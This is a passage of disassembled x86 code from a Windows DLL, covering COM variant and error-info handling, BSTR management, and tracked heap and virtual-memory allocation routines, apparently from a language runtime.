		jnz	short loc_69B2D18F
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		push	ebx
		lea	eax, [ebp+pvarg]
		push	eax
		push	2
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	dword ptr [esi+20h]
		cmp	eax, ebx
		jl	loc_69B2D215
		jz	short loc_69B2D164
		mov	eax, 80070057h
		jmp	loc_69B2D215
; ---------------------------------------------------------------------------


loc_69B2D164:				; CODE XREF: sub_69B2D0C7+91j
		push	[ebp+arg_20]
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		push	[ebp+arg_1C]
		mov	ecx, [eax]
		push	[ebp+arg_18]
		mov	esi, eax
		push	edi
		push	3
		push	[ebp+arg_C]
		push	offset dword_69B2AFB0
		push	ebx
		push	eax
		call	dword ptr [ecx+18h]
		mov	[ebp+arg_4], eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]
		jmp	short loc_69B2D1F6
; ---------------------------------------------------------------------------


loc_69B2D18F:				; CODE XREF: sub_69B2D0C7+54j
					; sub_69B2D0C7+59j ...
		lea	ecx, [ebp+arg_10]
		push	ecx		; int
		lea	ecx, [ebp+var_8]
		push	ecx		; int
		lea	ecx, [ebp+pvargDest]
		push	ecx		; pvargDest
		lea	ecx, [ebp+arg_18]
		push	ecx		; int
		push	eax		; int
		push	dword ptr [ebp+arg_10] ; char
		push	edi		; int
		call	sub_69B2CCD1
		cmp	eax, ebx
		mov	[ebp+arg_4], eax
		jl	short loc_69B2D1FF
		push	dword ptr [edi+8]
		lea	eax, [ebp+pvargDest]
		push	[ebp+arg_18]
		push	dword ptr [ebp+arg_10]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	dword ptr [esi+20h]
		mov	edi, [ebp+var_8]
		cmp	edi, ebx
		mov	[ebp+arg_4], eax
		jbe	short loc_69B2D1F6
		lea	esi, [ebp+pvargDest]


loc_69B2D1DC:				; CODE XREF: sub_69B2D0C7+12Dj
		cmp	[esi+10h], bl
		jz	short loc_69B2D1F0
		push	esi		; pvarg
		call	VariantClear
		cmp	[ebp+arg_4], ebx
		jnz	short loc_69B2D1F0
		mov	[ebp+arg_4], eax


loc_69B2D1F0:				; CODE XREF: sub_69B2D0C7+118j
					; sub_69B2D0C7+124j
		add	esi, 18h
		dec	edi
		jnz	short loc_69B2D1DC


loc_69B2D1F6:				; CODE XREF: sub_69B2D0C7+C6j
					; sub_69B2D0C7+10Dj
		cmp	[ebp+arg_4], ebx
		jl	short loc_69B2D1FF
		xor	eax, eax
		jmp	short loc_69B2D215
; ---------------------------------------------------------------------------


loc_69B2D1FF:				; CODE XREF: sub_69B2D0C7+3Cj
					; sub_69B2D0C7+EAj ...
		cmp	[ebp+var_1], bl
		jz	short loc_69B2D212
		push	[ebp+arg_1C]
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_69B2CDEB
		jmp	short loc_69B2D215
; ---------------------------------------------------------------------------


loc_69B2D212:				; CODE XREF: sub_69B2D0C7+13Bj
		mov	eax, [ebp+arg_4]


loc_69B2D215:				; CODE XREF: sub_69B2D0C7+8Bj
					; sub_69B2D0C7+98j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_69B2D0C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D21C	proc near		; CODE XREF: sub_69B3BB2E+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	eax, [esp+4+arg_0]
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	dword ptr [eax+4]
		call	sub_69B2CF2D
		retn	10h
sub_69B2D21C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2D237	proc near		; CODE XREF: sub_69B7794D+19p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_14]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax+4]
		call	sub_69B2CF59
		pop	ebp
		retn	18h
sub_69B2D237	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2D258	proc near		; CODE XREF: sub_69B2D36F+24p
					; sub_69B41180:loc_69B41213p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+10h], 0
		push	edi
		mov	edi, [ebp+arg_18]
		jz	short loc_69B2D295
		cmp	dword ptr [edi+0Ch], 0
		jz	short loc_69B2D277
		mov	eax, [edi+4]
		cmp	dword ptr [eax], 0FFFFFFFDh
		jnz	short loc_69B2D295


loc_69B2D277:				; CODE XREF: sub_69B2D258+15j
		push	[ebp+arg_24]
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	esi
		push	[ebp+arg_4]
		call	sub_69B2D0C7
		jmp	short loc_69B2D2C2
; ---------------------------------------------------------------------------


loc_69B2D295:				; CODE XREF: sub_69B2D258+Fj
					; sub_69B2D258+1Dj
		cmp	dword ptr [esi], 0
		jnz	short loc_69B2D2A7
		push	[ebp+arg_10]
		push	esi
		call	sub_69B2C8D5
		test	eax, eax
		jnz	short loc_69B2D2C2


loc_69B2D2A7:				; CODE XREF: sub_69B2D258+40j
		push	[ebp+arg_24]
		mov	esi, [esi]
		push	[ebp+arg_20]
		mov	eax, [esi]
		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword ptr [eax+2Ch]


loc_69B2D2C2:				; CODE XREF: sub_69B2D258+3Bj
					; sub_69B2D258+4Dj
		pop	edi
		pop	esi
		pop	ebp
		retn	28h
sub_69B2D258	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2D2C8	proc near		; CODE XREF: sub_69B2D34C+13p
					; sub_69B2D39C+28p ...

perrinfo	= dword	ptr -8
pperrinfo	= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+pperrinfo], 0
		and	[ebp+perrinfo],	0
		lea	eax, [ebp+pperrinfo]
		push	eax		; pperrinfo
		call	CreateErrorInfo
		test	eax, eax
		jl	short loc_69B2D324
		mov	eax, [ebp+pperrinfo]
		mov	ecx, [eax]
		lea	edx, [ebp+perrinfo]
		push	edx
		push	offset dword_69B2D33C
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_69B2D324
		mov	eax, [ebp+pperrinfo]
		push	ebx
		mov	ebx, [eax]
		push	esi
		mov	esi, eax
		call	sub_69B2C95C
		push	eax
		push	esi
		call	dword ptr [ebx+10h]
		mov	eax, [ebp+pperrinfo]
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+14h]
		push	[ebp+perrinfo]	; perrinfo
		push	0		; dwReserved
		call	SetErrorInfo
		pop	esi
		pop	ebx


loc_69B2D324:				; CODE XREF: sub_69B2D2C8+19j
					; sub_69B2D2C8+2Ej
		lea	eax, [ebp+perrinfo]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+pperrinfo]
		push	eax
		call	sub_69B17230
		leave
		retn	4
sub_69B2D2C8	endp

; ---------------------------------------------------------------------------
		align 4
dword_69B2D33C	dd 1CF2B120h, 101B547Dh, 8658Eh, 19D12B2Bh
; =============== S U B	R O U T	I N E =======================================



sub_69B2D34C	proc near		; CODE XREF: sub_69B3BD35+5p
					; sub_69B3C33C+75p ...

arg_0		= dword	ptr  4

		push	esi
		push	0
		push	[esp+8+arg_0]
		call	sub_69B2F944
		pop	ecx
		pop	ecx
		mov	esi, eax
		push	dword ptr [esi+0Ch]
		call	sub_69B2D2C8
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+30h]
		pop	esi
		retn	4
sub_69B2D34C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2D36F	proc near		; CODE XREF: sub_69B3C310+23p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_24]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax+4]
		call	sub_69B2D258
		pop	ebp
		retn	28h
sub_69B2D36F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D39C	proc near		; CODE XREF: sub_69B22994+9p
					; sub_69B24123+9p ...
		push	0Ch
		push	offset dword_69B2D3F0
		call	sub_69B19C5C
		and	dword ptr [ebp-1Ch], 0
		and	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		push	eax
		lea	ecx, [ebp-1Ch]
		call	sub_69B2D3FC
		push	dword ptr [ebp-1Ch]
		call	sub_69B2D2C8
		jmp	short loc_69B2D3D7
; ---------------------------------------------------------------------------


loc_69B2D3CB:				; DATA XREF: .text:69B2D3F4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B2D3D4:				; DATA XREF: .text:69B2D3F8o
		mov	esp, [ebp-18h]


loc_69B2D3D7:				; CODE XREF: sub_69B2D39C+2Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-1Ch] ; BSTR
		call	SysFreeString
		mov	eax, [ebp+8]
		call	sub_69B1853C
		retn	4
sub_69B2D39C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B2D3F0	dd 0FFFFFFFFh			dd offset loc_69B2D3CB
		dd offset loc_69B2D3D4

; =============== S U B	R O U T	I N E =======================================



sub_69B2D3FC	proc near		; CODE XREF: sub_69B2D39C+20p
					; .text:69B2D42Cj ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B2D40F
		push	eax		; BSTR
		call	SysFreeString
		and	dword ptr [esi], 0


loc_69B2D40F:				; CODE XREF: sub_69B2D3FC+7j
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_69B2D426
		push	dword ptr [eax+8] ; UINT
		mov	ecx, [eax+0Ch]
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[esi], eax


loc_69B2D426:				; CODE XREF: sub_69B2D3FC+19j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B2D3FC	endp

; ---------------------------------------------------------------------------
		jmp	short sub_69B2D3FC

; =============== S U B	R O U T	I N E =======================================



sub_69B2D42E	proc near		; CODE XREF: sub_69B1129D+12448p
					; sub_69B2D461+2Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		push	esi
		mov	edi, offset dword_69B9B258
		push	edi
		call	dword_69B9294C	; InterlockedExchangeAdd
		add	eax, esi
		cmp	eax, dword_69B9293C
		jg	short loc_69B2D450
		xor	eax, eax
		inc	eax
		jmp	short loc_69B2D45C
; ---------------------------------------------------------------------------


loc_69B2D450:				; CODE XREF: sub_69B2D42E+1Bj
		neg	esi
		push	esi
		push	edi
		call	dword_69B9294C	; InterlockedExchangeAdd
		xor	eax, eax


loc_69B2D45C:				; CODE XREF: sub_69B2D42E+20j
		pop	edi
		pop	esi
		retn	4
sub_69B2D42E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2D461(HANDLE hHeap, DWORD dwFlags, DWORD	dwBytes)

sub_69B2D461	proc near		; CODE XREF: sub_69B17F72:loc_69B11C64p
					; sub_69B1AC42:loc_69B1AD43p ...

hHeap		= dword	ptr  8
dwFlags		= dword	ptr  0Ch
dwBytes		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+dwBytes]	; dwBytes
		push	[ebp+dwFlags]	; dwFlags
		push	[ebp+hHeap]	; hHeap
		call	ds:HeapAlloc
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B2D4A4
		push	esi		; lpMem
		push	0		; dwFlags
		push	[ebp+hHeap]	; hHeap
		call	ds:HeapSize
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B2D495
		push	eax
		call	sub_69B2D42E
		test	eax, eax
		jnz	short loc_69B2D4A4


loc_69B2D495:				; CODE XREF: sub_69B2D461+28j
		push	esi		; lpMem
		push	[ebp+dwFlags]	; dwFlags
		push	[ebp+hHeap]	; hHeap
		call	ds:HeapFree
		xor	esi, esi


loc_69B2D4A4:				; CODE XREF: sub_69B2D461+17j
					; sub_69B2D461+32j
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B2D461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_69B2D4AB(HANDLE hHeap, int, LPCVOID lpMem)

sub_69B2D4AB	proc near		; CODE XREF: sub_69B182B8:loc_69B1BC73p
					; sub_69B1E5FC:loc_69B1E625p ...

hHeap		= dword	ptr  8
lpMem		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	[ebp+lpMem]	; lpMem
		push	0		; dwFlags
		push	[ebp+hHeap]	; hHeap
		call	ds:HeapSize
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B2D4CF
		neg	eax
		push	eax
		push	offset dword_69B9B258
		call	dword_69B9294C	; InterlockedExchangeAdd


loc_69B2D4CF:				; CODE XREF: sub_69B2D4AB+14j
		pop	ebp
		jmp	ds:HeapFree
sub_69B2D4AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B2D4D6(LPVOID lpAddress, DWORD dwSize, DWORD flAllocationType, DWORD flProtect)

sub_69B2D4D6	proc near		; CODE XREF: sub_69B1DC97:loc_69B1DCDCp
					; sub_69B19D0A:loc_69B1E7C8p ...

lpAddress	= dword	ptr  8
dwSize		= dword	ptr  0Ch
flAllocationType= dword	ptr  10h
flProtect	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+flProtect]	; flProtect
		push	[ebp+flAllocationType] ; flAllocationType
		push	[ebp+dwSize]	; dwSize
		push	[ebp+lpAddress]	; lpAddress
		call	ds:VirtualAlloc	; VirtualAlloc
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B2D520
		push	[ebp+dwSize]
		call	sub_69B2D42E
		test	eax, eax
		jnz	short loc_69B2D520
		cmp	[ebp+flAllocationType],	2000h
		jnz	short loc_69B2D50F
		push	8000h
		push	eax
		jmp	short loc_69B2D517
; ---------------------------------------------------------------------------


loc_69B2D50F:				; CODE XREF: sub_69B2D4D6+2Fj
		push	4000h		; dwFreeType
		push	[ebp+dwSize]	; dwSize


loc_69B2D517:				; CODE XREF: sub_69B2D4D6+37j
		push	esi		; lpAddress
		call	ds:VirtualFree	; VirtualFree
		xor	esi, esi


loc_69B2D520:				; CODE XREF: sub_69B2D4D6+1Aj
					; sub_69B2D4D6+26j
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	10h
sub_69B2D4D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D527	proc near		; CODE XREF: sub_69B1A48F:loc_69B1A483p
					; sub_69B23A13:loc_69B23A4Bp ...

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		neg	eax
		push	eax
		push	offset dword_69B9B258
		call	dword_69B9294C	; InterlockedExchangeAdd
		jmp	ds:VirtualFree
sub_69B2D527	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D53F	proc near		; DATA XREF: sub_69B1CA7C:loc_69B22CE9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_8]
		cmpxchg	[ecx], edx
		retn	0Ch
sub_69B2D53F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D551	proc near		; DATA XREF: sub_69B1CA7C+6277o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [esp+arg_4]
		xadd	[ecx], eax
		retn	8
sub_69B2D551	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D55F	proc near		; DATA XREF: .text:loc_69B2D56Fo
		push	0
		push	3
		push	hModule
		call	DllMain
		retn
sub_69B2D55F	endp

; ---------------------------------------------------------------------------


loc_69B2D56F:				; DATA XREF: sub_69B1CA7C+6230o
		push	offset sub_69B2D55F
		push	dword ptr [esp+0Ch]
		push	dword ptr [esp+0Ch]
		call	dword_69B9297C
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_69B2D585	proc near		; CODE XREF: sub_69B1CC44+600Bp
					; sub_69B1CC44+6032p
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+10h] ; hObject
		call	ds:CloseHandle	; CloseHandle
		mov	ecx, esi
		pop	esi
		jmp	sub_69B1CCCB
sub_69B2D585	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D599	proc near		; CODE XREF: sub_69B23E3C+6p
					; sub_69B23F51+6p ...
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		mov	[eax+2Ch], edx
		and	dword ptr [ecx], 0
		retn
sub_69B2D599	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D5A5	proc near		; CODE XREF: DllMain+6DAEp
		push	esi
		push	dwTlsIndex
		call	dword_69B92970
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B2D5FF
		cmp	dword_69B9296C,	0
		jz	short loc_69B2D5ED
		lea	eax, [esi+45Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+460h]
		push	eax
		call	sub_69B17230
		inc	dword ptr [esi+30h]
		push	esi
		call	sub_69B1E818
		push	offset dword_69B92964 ;	lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement


loc_69B2D5ED:				; CODE XREF: sub_69B2D5A5+1Aj
		push	0
		mov	byte ptr [esi+44h], 1
		push	dwTlsIndex
		call	dword_69B92974


loc_69B2D5FF:				; CODE XREF: sub_69B2D5A5+11j
		pop	esi
		retn
sub_69B2D5A5	endp


; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_69B2D601(LPVOID lpMem, char)

sub_69B2D601	proc near		; CODE XREF: sub_69B1E38F+4C5Ap

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B12110
		test	[esp+4+arg_0], 1
		jz	short loc_69B2D616
		push	esi		; lpMem
		call	sub_69B1E5FC


loc_69B2D616:				; CODE XREF: sub_69B2D601+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B2D601	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B2D61C(HANDLE hThread, LPCONTEXT lpContext)

sub_69B2D61C	proc near		; CODE XREF: sub_69B18CB3+A475p

hThread		= dword	ptr  4
lpContext	= dword	ptr  8

		push	[esp+lpContext]	; lpContext
		push	[esp+4+hThread]	; hThread
		call	ds:GetThreadContext	; GetThreadContext
		test	eax, eax
		setnz	al
		retn	8
sub_69B2D61C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D632	proc near		; DATA XREF: .text:69B121A4o
					; .text:69B121ECo ...
		mov	eax, offset dword_69B18894
		retn
sub_69B2D632	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D638	proc near		; CODE XREF: sub_69B17355+BD28p
					; sub_69B2D6DB+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		mov	eax, [esi+24h]
		cmp	eax, ecx
		jnz	short loc_69B2D652
		mov	edx, [esp+4+arg_0]
		mov	eax, edx
		and	eax, 0FFFFFFF9h
		mov	[esi+24h], eax
		jmp	short loc_69B2D66E
; ---------------------------------------------------------------------------


loc_69B2D652:				; CODE XREF: sub_69B2D638+Aj
		push	edi
		jmp	short loc_69B2D65A
; ---------------------------------------------------------------------------


loc_69B2D655:				; CODE XREF: sub_69B2D638+2Cj
		mov	eax, edx
		and	eax, 0FFFFFFF9h


loc_69B2D65A:				; CODE XREF: sub_69B2D638+1Bj
		mov	edx, [eax+4]
		mov	edi, edx
		and	edi, 0FFFFFFF9h
		cmp	edi, ecx
		jnz	short loc_69B2D655
		mov	edx, [esp+8+arg_0]
		mov	[eax+4], edx
		pop	edi


loc_69B2D66E:				; CODE XREF: sub_69B2D638+18j
		and	edx, 2
		or	edx, 0Dh
		mov	[ecx+4], edx
		dec	dword ptr [esi+28h]
		pop	esi
		retn	8
sub_69B2D638	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2D67E	proc near		; CODE XREF: .text:69B60B9Ep
					; sub_69B6547Bj ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B2D6B2
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B25ED4
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B2D6B2
		mov	eax, [ebp+arg_8]
		and	dword ptr [eax], 0
		mov	eax, 80004002h
		jmp	short loc_69B2D6C2
; ---------------------------------------------------------------------------


loc_69B2D6B2:				; CODE XREF: sub_69B2D67E+14j
					; sub_69B2D67E+25j
		mov	esi, [ebp+arg_0]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	eax, [ebp+arg_8]
		mov	[eax], esi
		xor	eax, eax


loc_69B2D6C2:				; CODE XREF: sub_69B2D67E+32j
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B2D67E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D6C8	proc near		; DATA XREF: .text:69B1451Co
					; .text:69B1607Co ...
		mov	eax, offset off_69B25E94
		retn
sub_69B2D6C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D6CE	proc near		; CODE XREF: sub_69B3D612+Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword_69B929B8,	eax
		retn	4
sub_69B2D6CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D6DB	proc near		; CODE XREF: sub_69B2DBD4+Bj
					; sub_69B3D622+44p ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_69B2D6F5
		mov	ecx, [esi+14h]
		push	eax
		push	dword ptr [ecx+4]
		call	sub_69B2D638
		and	dword ptr [esi+0Ch], 0


loc_69B2D6F5:				; CODE XREF: sub_69B2D6DB+8j
		pop	esi
		retn
sub_69B2D6DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D6F7	proc near		; CODE XREF: sub_69B183E6+1Fp

arg_0		= dword	ptr  4

		inc	dword_69B929B0
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		add	esi, 4
		push	esi		; Target
		mov	edi, ecx
		call	sub_69B18980
		mov	[esi], edi
		pop	edi
		and	eax, 0FFFFFFF9h
		pop	esi
		retn	4
sub_69B2D6F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2D718	proc near		; CODE XREF: sub_69B2D775+1Ap
					; sub_69B2D775+3Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		mov	ecx, ebx
		call	sub_69B18F5A
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_69B2D732
		xor	al, al
		jmp	short loc_69B2D76F
; ---------------------------------------------------------------------------


loc_69B2D732:				; CODE XREF: sub_69B2D718+14j
		push	edi
		mov	edi, esi
		and	edi, 0FFFFFFF9h
		jmp	short loc_69B2D757
; ---------------------------------------------------------------------------


loc_69B2D73A:				; CODE XREF: sub_69B2D718+42j
		cmp	edi, [ebp+arg_4]
		jz	short loc_69B2D769
		mov	ecx, edi
		call	sub_69B18F5A
		cmp	eax, 0FFFFFFFFh
		mov	[ebx+4], esi
		jz	short loc_69B2D76C
		mov	esi, eax
		and	eax, 0FFFFFFF9h
		mov	ebx, edi
		mov	edi, eax


loc_69B2D757:				; CODE XREF: sub_69B2D718+20j
		cmp	edi, [ebp+arg_8]
		jnz	short loc_69B2D73A
		and	esi, 2
		or	esi, [ebp+arg_C]
		mov	al, 1
		mov	[ebx+4], esi
		jmp	short loc_69B2D76E
; ---------------------------------------------------------------------------


loc_69B2D769:				; CODE XREF: sub_69B2D718+25j
		mov	[ebx+4], esi


loc_69B2D76C:				; CODE XREF: sub_69B2D718+34j
		xor	al, al


loc_69B2D76E:				; CODE XREF: sub_69B2D718+4Fj
		pop	edi


loc_69B2D76F:				; CODE XREF: sub_69B2D718+18j
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_69B2D718	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B2D775	proc near		; CODE XREF: sub_69B1737D+BB7Ep

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		and	esi, 0FFFFFFF9h
		push	esi
		mov	ebx, ecx
		push	ebx
		push	edi
		push	edi
		mov	[ebp+var_1], 0
		call	sub_69B2D718
		test	al, al
		jnz	short loc_69B2D7F8
		mov	ecx, dword_69B929E0
		call	sub_69B1808E
		test	al, al
		jz	short loc_69B2D81B
		push	esi
		push	ebx
		push	edi
		add	edi, 8
		push	edi
		mov	[ebp+var_1], 1
		call	sub_69B2D718
		test	al, al
		jnz	short loc_69B2D7F8
		cmp	dword ptr [esi], 0
		mov	edi, esi
		jz	short loc_69B2D7DB


loc_69B2D7C2:				; CODE XREF: sub_69B2D775+64j
		mov	ecx, edi
		call	sub_69B18F5A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B2D810
		mov	[edi+4], eax
		and	eax, 0FFFFFFF9h
		mov	edi, eax
		cmp	dword ptr [edi], 0
		jnz	short loc_69B2D7C2


loc_69B2D7DB:				; CODE XREF: sub_69B2D775+4Bj
		push	esi
		push	ebx
		push	edi
		push	edi
		call	sub_69B2D718
		test	al, al
		jnz	short loc_69B2D7F8
		push	esi
		push	ebx
		push	edi
		add	edi, 8
		push	edi
		call	sub_69B2D718
		test	al, al
		jz	short loc_69B2D810


loc_69B2D7F8:				; CODE XREF: sub_69B2D775+21j
					; sub_69B2D775+44j ...
		mov	eax, [ebp+arg_0]
		and	eax, 2
		or	eax, 9
		dec	dword_69B929B0
		cmp	[ebp+var_1], 0
		mov	[ebp+arg_0], eax
		jz	short loc_69B2D81B


loc_69B2D810:				; CODE XREF: sub_69B2D775+57j
					; sub_69B2D775+81j
		mov	ecx, dword_69B929E0
		mov	eax, [ecx]
		call	dword ptr [eax+10h]


loc_69B2D81B:				; CODE XREF: sub_69B2D775+30j
					; sub_69B2D775+99j
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B2D775	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D825	proc near		; DATA XREF: .text:69B12194o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B12188
		call	sub_69B18700
		test	[esp+4+arg_0], 1
		jz	short loc_69B2D840
		push	esi
		call	sub_69B1829F


loc_69B2D840:				; CODE XREF: sub_69B2D825+13j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B2D825	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B2D846	proc near		; CODE XREF: sub_69B18CB3+A492p
					; sub_69B18CB3+A4A4p
		push	18h
		push	offset dword_69B2D948
		call	sub_69B19C5C
		and	dword ptr [ebp-4], 0
		push	4
		pop	ebx
		mov	edi, [ebp+0Ch]


loc_69B2D85C:				; CODE XREF: sub_69B2D846+2Bj
					; sub_69B2D846+2Fj ...
		sub	edi, ebx
		mov	[ebp+0Ch], edi
		cmp	edi, [ebp+8]
		jb	loc_69B2D938
		mov	eax, [edi]
		mov	[ebp-1Ch], eax
		test	eax, eax
		jz	short loc_69B2D85C
		test	al, 3
		jnz	short loc_69B2D85C
		push	dword ptr [ebp+14h]
		lea	ecx, [ebp-20h]
		push	ecx
		push	eax
		call	sub_69B2E49A
		mov	esi, eax
		mov	[ebp-24h], esi
		test	esi, esi
		jz	short loc_69B2D85C
